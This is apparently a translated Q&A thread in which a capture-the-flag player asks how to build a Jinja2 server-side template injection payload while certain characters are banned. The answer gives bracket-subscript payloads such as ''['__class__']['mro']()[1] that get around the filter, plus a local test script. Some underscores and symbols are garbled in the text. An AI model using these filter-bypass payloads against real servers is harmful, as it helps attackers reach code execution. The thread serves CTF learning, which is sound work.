我正在做一个夺旗(CTF)我正在尝试利用易受Jinja2攻击的服务器服务器端模板注入(SSTI).
我不能使用以下字符:
\
、|
、,
、.
和 _
。
我正在尝试编写以下命令:
{{''.class.mro()[1].subclasses()}}
有什么想法吗?
我尝试使用
attr
方法,但由于使用|
和.
的限制我不能使用它。
您在这里需要的大部分内容可能在“变量”章节中进行了解释,并在“实现”注释中进行了进一步解释:
除了标准的 Python
“下标”语法 (.
) 之外,您还可以使用点 (__getitem__
) 来访问变量的属性。[]
以下几行做同样的事情:
{{ foo.bar }} {{ foo['bar'] }}
来源:https://jinja.palletsprojects.com/en/3.1.x/templates/#variables
然后,以后:
工作原理基本相同,顺序略有不同:foo['bar']
- 在
foo中检查项目'bar'
。 ()foo.__getitem__('bar')
- 如果没有,检查 foo 上名为 bar 的属性。 (
)getattr(foo, 'bar')
- 如果没有,返回一个未定义的对象。
来源:https://jinja.palletsprojects.com/en/3.1.x/templates/#notes-on-subscriptions
所以,如果我在 Jinja 环境中尝试这种事情:
{{ ''['__class__']['mro']()[1] }}
我确实得到了
<class 'object'>
作为回报。
在这里,我无法实现
''['class']
,但我可以使用dict['class']
实现它,另一方面:
{{ dict['class']['mro']()[1] }}
至于对
.subclasses()
方法的调用,不清楚这是来自您的示例实现还是来自其他地方。
测试环境:
├── jinja.py
└── templates
└── template.html.j2
jinja.py:
from jinja2 import Environment, FileSystemLoader
environment = Environment(loader=FileSystemLoader('templates/'))
template = environment.get_template('template.html.j2')
print(template.render())
templates/template.html.j2:
{{ dict['class']['mro']()[1] }}
输出:
<class 'object'>